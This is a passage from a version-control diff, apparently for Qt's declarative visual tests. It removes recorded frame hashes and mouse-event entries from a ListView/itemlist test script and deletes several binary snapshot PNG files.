"99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2800 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2816 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2832 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2848 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2864 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 181; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2880 - image: "itemlist.2.png" - } - Frame { - msec: 2896 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 179; y: 105 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 177; y: 106 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2912 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: 108 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 170; y: 110 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2928 - hash: "5bb06b4e74532ba5bc8c7bc38bf77d7f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 166; y: 112 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2944 - hash: "b10a6206830a876017799ef2fcf61b1a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 140; y: 123 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2960 - hash: "b2e24759ba10afd6cff90f4b1e04b496" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 124; y: 127 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 124; y: 127 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2976 - hash: "ccbcd6f45cb529c2db71504c0f69d73e" - } - Frame { - msec: 2992 - hash: "7b31c6d5931677f1aa1e8c7d48a4ff22" - } - Frame { - msec: 3008 - hash: "c52f691a0a6cf155118bdfea2dfea623" - } - Frame { - msec: 3024 - hash: "dd639d1df3d4a9b8f06718def63d588f" - } - Frame { - msec: 3040 - hash: "39d767b09a648ef6295cec2848f9226f" - } - Frame { - msec: 3056 - hash: "5dd46d5f386431e7b13348ac9a9630ed" - } - Frame { - msec: 3072 - hash: "0354e5183b0e66e7ba146d292c559df4" - } - Frame { - msec: 3088 - hash: "984aa6d7075e24de429e05b1b0eda94a" - } - Frame { - msec: 3104 - hash: "1af58a2f44f1f613712d4df85e38356d" - } - Frame { - msec: 3120 - hash: "6e4085e7f1fee724d78808753f04b471" - } - Frame { - msec: 3136 - hash: "73a019ef9057639d631cd99a431b3f3b" - } - Frame { - msec: 3152 - hash: "c9414a2e655a90dfdcb6fb288b4ba0ca" - } - Frame { - msec: 3168 - hash: "3f4c24f7ac89da982af22032309637fb" - } - Frame { - msec: 3184 - hash: "a50e6ada8f73a257657f4348ceaffcfd" - } - Frame { - msec: 3200 - hash: "a67bf40d09259bbd079c12ae4f49150f" - } - Frame { - msec: 3216 - hash: "a2fc512b7c234a9d0b2c1a83387a8a46" - } - Frame { - msec: 3232 - hash: "85090683ce9a3c9833b1cb0b3df076ee" - } - Frame { - msec: 3248 - hash: "275f3594a0e2cc4b6717f9f336e7e1b6" - } - Frame { - msec: 3264 - hash: "2473eb11f7b65a784a2b166114026488" - } - Frame { - msec: 3280 - hash: "4865c30dc45fbf5ca82047b77eca0912" - } - Frame { - msec: 3296 - hash: "54de88bca395449fbaea2c090c7a5d91" - } - Frame { - msec: 3312 - hash: "833f9295cf9a34934f001eac48551b59" - } - Frame { - msec: 3328 - hash: "5bf565f57ababa7380faeee94add91ca" - } - Frame { - msec: 3344 - hash: "6325578867f1eb3b2d47ed40b017b571" - } - Frame { - msec: 3360 - hash: "046a6114176b3a3206b7a2acd6e30b41" - } - Frame { - msec: 3376 - hash: "f8d4120a17f28c2d1d9c4be959098058" - } - Frame { - msec: 3392 - hash: "71356d2e48aad2900784ea6bc1a3d908" - } - Frame { - msec: 3408 - hash: "b84ad460fb81fdc4049abe8f3ff180bb" - } - Frame { - msec: 3424 - hash: "0354239f5eaea23474d9f81385392a8a" - } - Frame { - msec: 3440 - hash: "8ef0eef3393e07ae7605c865a95edc30" - } - Frame { - msec: 3456 - hash: "5b8b384cc8e3faf4310015e19b3eb487" - } - Frame { - msec: 3472 - hash: "77c18ac7dfff2a4e516915e3e3df0717" - } - Frame { - msec: 3488 - hash: "c1d3264384c26345eb8100de829309ca" - } - Frame { - msec: 3504 - hash: "6b21f71d0bedef4bbcb445a13f61e7a3" - } - Frame { - msec: 3520 - hash: "f619097356671f6eb54d3b1c481e709d" - } - Frame { - msec: 3536 - hash: "e56e3a90da446e0c482cb93717f6aacc" - } - Frame { - msec: 3552 - hash: "aa94ebdbb4b8423aff28c95daff0baf5" - } - Frame { - msec: 3568 - hash: "e1744d9cacd1a2c96af4cfdd5c486995" - } - Frame { - msec: 3584 - hash: "7f19ea52e9e41a3b1bd90bb2a144d305" - } - Frame { - msec: 3600 - hash: "7f19ea52e9e41a3b1bd90bb2a144d305" - } - Frame { - msec: 3616 - hash: "7f19ea52e9e41a3b1bd90bb2a144d305" - } - Frame { - msec: 3632 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3648 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3664 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3680 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3696 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3712 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3728 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3744 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3760 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3776 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3792 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3808 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3824 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3840 - image: "itemlist.3.png" - } - Frame { - msec: 3856 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3872 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3888 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3904 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3920 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3936 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3952 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3968 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3984 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4000 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4016 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4032 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4048 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4064 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4080 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4096 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 31; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4112 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 32; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4128 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 33; y: 136 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 36; y: 135 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4144 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 40; y: 134 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 132 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4160 - hash: "c2c9c284b185a89faf4ddb5a7867f449" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 64; y: 130 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4176 - hash: "de1c18aeda5d2fbd6dad4554c78617bd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 86; y: 126 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 110; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 110; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4192 - hash: "a67bf40d09259bbd079c12ae4f49150f" - } - Frame { - msec: 4208 - hash: "94514668dafbe41c5890a578efd6dea4" - } - Frame { - msec: 4224 - hash: "2e97a74eb9ddb1c9613c89e2d78db018" - } - Frame { - msec: 4240 - hash: "4b5368f0d86bffeb6bd31b58aec88650" - } - Frame { - msec: 4256 - hash: "b459bde7bb4ce51e6ecdab58f64fcbb9" - } - Frame { - msec: 4272 - hash: "7bac8cc3ec64c9ad1c0da282e38c953e" - } - Frame { - msec: 4288 - hash: "a73a58c3d7a757547740a2a161f4c756" - } - Frame { - msec: 4304 - hash: "b35edcb1fa3568a3e770ab2364b82e75" - } - Frame { - msec: 4320 - hash: "d6c863ef57c5e5cb04cdac72f920db0b" - } - Frame { - msec: 4336 - hash: "0db5e4588ff851918b07796f0cf07382" - } - Frame { - msec: 4352 - hash: "71ec8c363ca6a6f7556afb70faccffe6" - } - Frame { - msec: 4368 - hash: "18d026e9c965ada1db67c643576d2a80" - } - Frame { - msec: 4384 - hash: "69f71c22dff981a4da8ec1edcf90e79f" - } - Frame { - msec: 4400 - hash: "680460f5e4d9e649931601041af046b2" - } - Frame { - msec: 4416 - hash: "3028763fd15de2607b20b1331b904a4a" - } - Frame { - msec: 4432 - hash: "333eb60e217fe1ea7469eab52ac461f1" - } - Frame { - msec: 4448 - hash: "ccbcd6f45cb529c2db71504c0f69d73e" - } - Frame { - msec: 4464 - hash: "3445df9b41a0a3e74738cbf328ab7d5c" - } - Frame { - msec: 4480 - hash: "bd2c072558479e9de7a97207e58cc57f" - } - Frame { - msec: 4496 - hash: "3d34b0b24a30eda93377dcb4585afed8" - } - Frame { - msec: 4512 - hash: "d3045703863b0c5a327b9355c23d69f2" - } - Frame { - msec: 4528 - hash: "2f2eb55f693415b840a317211b250e9f" - } - Frame { - msec: 4544 - hash: "791b9ca7d47a3343474c30a35e336d4b" - } - Frame { - msec: 4560 - hash: "73a0c02ebad6d3d5f939d9a00dd898bf" - } - Frame { - msec: 4576 - hash: "d5c11135d586711b12f236430a2c2795" - } - Frame { - msec: 4592 - hash: "34f9ea214fe714ff4e994f715ea6ea39" - } - Frame { - msec: 4608 - hash: "8e49afa00983b156b818533923fb6edd" - } - Frame { - msec: 4624 - hash: "e7e7bef17cee92eca9191fd734d7a577" - } - Frame { - msec: 4640 - hash: "e407f6ed7cb3c130365ab5515d6308c0" - } - Frame { - msec: 4656 - hash: "5bb06b4e74532ba5bc8c7bc38bf77d7f" - } - Frame { - msec: 4672 - hash: "0ad7411316031e22034c14e81ca3a806" - } - Frame { - msec: 4688 - hash: "dd81d7a9b48c922b4c42cba1b5f2b9d7" - } - Frame { - msec: 4704 - hash: "32bef6f5005ad94e29ff59165958fbdc" - } - Frame { - msec: 4720 - hash: "87758dd311f91193bf1e3536c2f58525" - } - Frame { - msec: 4736 - hash: "015be92a4ff4e735fcc3cbc7a8b9d763" - } - Frame { - msec: 4752 - hash: "d4c34ed49317c6692d71681fcd9842b6" - } - Frame { - msec: 4768 - hash: "abaa235bb946a8abaddd52981d632c2d" - } - Frame { - msec: 4784 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4800 - image: "itemlist.4.png" - } - Frame { - msec: 4816 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4832 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4848 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4864 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4880 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4896 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4912 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4928 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4944 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4960 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4976 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4992 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5008 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5024 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5040 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5056 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5072 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5088 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5104 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5120 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5136 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5152 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5168 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5184 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5200 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5216 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5232 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 17; y: 120 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5248 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 19; y: 120 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 21; y: 120 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5264 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 24; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 28; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5280 - hash: "95b380c9ab6f8db7b822faf023d94546" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 35; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 44; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5296 - hash: "bb79e53556698c62ec30c75be9f6b7d7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 70; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 96; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 96; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5312 - hash: "285cc2f0df1f59f25a0135560ab6edf2" - } - Frame { - msec: 5328 - hash: "93a731dc6f71b6ff5400bf74c87e6c46" - } - Frame { - msec: 5344 - hash: "eb555741ab128a50de5a18a454f2e639" - } - Frame { - msec: 5360 - hash: "5dbe6cf898c1e37fcaacecfcf57b2194" - } - Frame { - msec: 5376 - hash: "e7795610115593e78bb32f7bcc0ae2eb" - } - Frame { - msec: 5392 - hash: "20e76f0eb4ec5f691999faf8ad313370" - } - Frame { - msec: 5408 - hash: "d6a544c622e504c1b931e1a8a1310a6e" - } - Frame { - msec: 5424 - hash: "e7a3a21feed244c5b1c710a9254c15f0" - } - Frame { - msec: 5440 - hash: "5a4b1aca24f121d1373646e9d80b86fd" - } - Frame { - msec: 5456 - hash: "331d2ec7021655c86aa64e47718a1088" - } - Frame { - msec: 5472 - hash: "92096bc872e7395aa5b75c44646a0b60" - } - Frame { - msec: 5488 - hash: "0d9aa6cee4d21488cbb5153f8f3ed593" - } - Frame { - msec: 5504 - hash: "c1b943d43701605563fffffcb75f9fa7" - } - Frame { - msec: 5520 - hash: "1b680025d5ad1ddd8f8d5f570ba73e71" - } - Frame { - msec: 5536 - hash: "5539a3b9f60ea747c10ed8328b467cbf" - } - Frame { - msec: 5552 - hash: "0a1317bcb606cd3488c5b14ee5d96585" - } - Frame { - msec: 5568 - hash: "8844af68b11db7d92c69804c7371a746" - } - Frame { - msec: 5584 - hash: "28d7fd127739c6e3b8488651b725c802" - } - Frame { - msec: 5600 - hash: "0cf1a7d958a96aa2768995dddc5ccc09" - } - Frame { - msec: 5616 - hash: "64b902fe7ab4d89ef0c7b760974e3488" - } - Frame { - msec: 5632 - hash: "aba11c597eba550fc1eaddbf554057f6" - } - Frame { - msec: 5648 - hash: "1bacaa3bb9dc3cac9ffc7491cb4dc1a5" - } - Frame { - msec: 5664 - hash: "0ba8b582234d9f0c198c0c9e18e1cb02" - } - Frame { - msec: 5680 - hash: "f66eaf2b5c3529987c0d9d005351ed73" - } - Frame { - msec: 5696 - hash: "75b0bb720fa4c77da3783b3ff31c2fae" - } - Frame { - msec: 5712 - hash: "345b235bb7f13409378e5c0c370f2a41" - } - Frame { - msec: 5728 - hash: "83b7e902dce4e0fdc4ef5d629188c23c" - } - Frame { - msec: 5744 - hash: "04b9041c6f10969889d92e94785c7e88" - } - Frame { - msec: 5760 - image: "itemlist.5.png" - } - Frame { - msec: 5776 - hash: "4f3a902addc34ecdaf390e2427cc52e7" - } - Frame { - msec: 5792 - hash: "68d443f16c16821ffc9ca68b17c76034" - } - Frame { - msec: 5808 - hash: "9d25adc77befa761ee376a9b43595b5e" - } - Frame { - msec: 5824 - hash: "a68b1bc6c2963ee92c3a45f500667b3b" - } - Frame { - msec: 5840 - hash: "d5268cd58c222451d48038e715e83802" - } - Frame { - msec: 5856 - hash: "f37d461541a8ec7a4161b18748de6aea" - } - Frame { - msec: 5872 - hash: "805319ac7ca842feb3649e92f8b5b72f" - } - Frame { - msec: 5888 - hash: "73124472a05080891d4948d8ca273f8c" - } - Frame { - msec: 5904 - hash: "b6e433a23282a50db2e165a2447ba3f6" - } - Frame { - msec: 5920 - hash: "fd8d3f5688b1806998c6087e18c6c730" - } - Frame { - msec: 5936 - hash: "f132dd459950ef2d18aa93ca950d0692" - } - Frame { - msec: 5952 - hash: "ade5beb259b5277c333ca806fc9bdbec" - } - Frame { - msec: 5968 - hash: "ade5beb259b5277c333ca806fc9bdbec" - } - Frame { - msec: 5984 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6000 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6016 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6032 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6048 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6064 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6080 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6096 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6112 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6128 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6144 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6160 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6176 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6192 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6208 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6224 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6240 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6256 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6272 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6288 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6304 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6320 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6336 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6352 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6368 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6384 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6400 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6416 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6432 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6448 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6464 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6480 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6496 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6512 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6528 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6544 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6560 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6576 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6592 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6608 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6624 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6640 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6656 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6672 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6688 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6704 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6720 - image: "itemlist.6.png" - } - Frame { - msec: 6736 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6752 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6768 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6784 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6800 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6816 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6832 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6848 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6864 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6880 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6896 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6912 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6928 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6944 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6960 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6976 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6992 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7008 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7024 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7040 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7056 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7072 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7088 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7104 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7120 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7136 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7152 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7168 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7184 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7200 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7216 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7232 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7248 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7264 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7280 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7296 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7312 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } -} diff --git a/tests/auto/declarative/visual/ListView/data/listview.0.png b/tests/auto/declarative/visual/ListView/data/listview.0.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.1.png b/tests/auto/declarative/visual/ListView/data/listview.1.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.10.png b/tests/auto/declarative/visual/ListView/data/listview.10.png deleted file mode 100644 index dcfca3f..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.10.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.11.png b/tests/auto/declarative/visual/ListView/data/listview.11.png deleted file mode 100644 index 7cc4047..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.11.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.12.png b/tests/auto/declarative/visual/ListView/data/listview.12.png deleted file mode 100644 index a97f4ad..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.12.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.13.png b/tests/auto/declarative/visual/ListView/data/listview.13.png deleted file mode 100644 index 7a8c6bd..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.13.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.14.png b/tests/auto/declarative/visual/ListView/data/listview.14.png deleted file mode 100644 index ae47356..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.14.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.15.png b/tests/auto/declarative/visual/ListView/data/listview.15.png deleted file mode 100644 index b3a7260..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.15.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.16.png b/tests/auto/declarative/visual/ListView/data/listview.16.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.16.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.17.png b/tests/auto/declarative/visual/ListView/data/listview.17.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.17.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.18.png b/tests/auto/declarative/visual/ListView/data/listview.18.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.18.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.19.png b/tests/auto/declarative/visual/ListView/data/listview.19.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.19.png and /dev/null differ 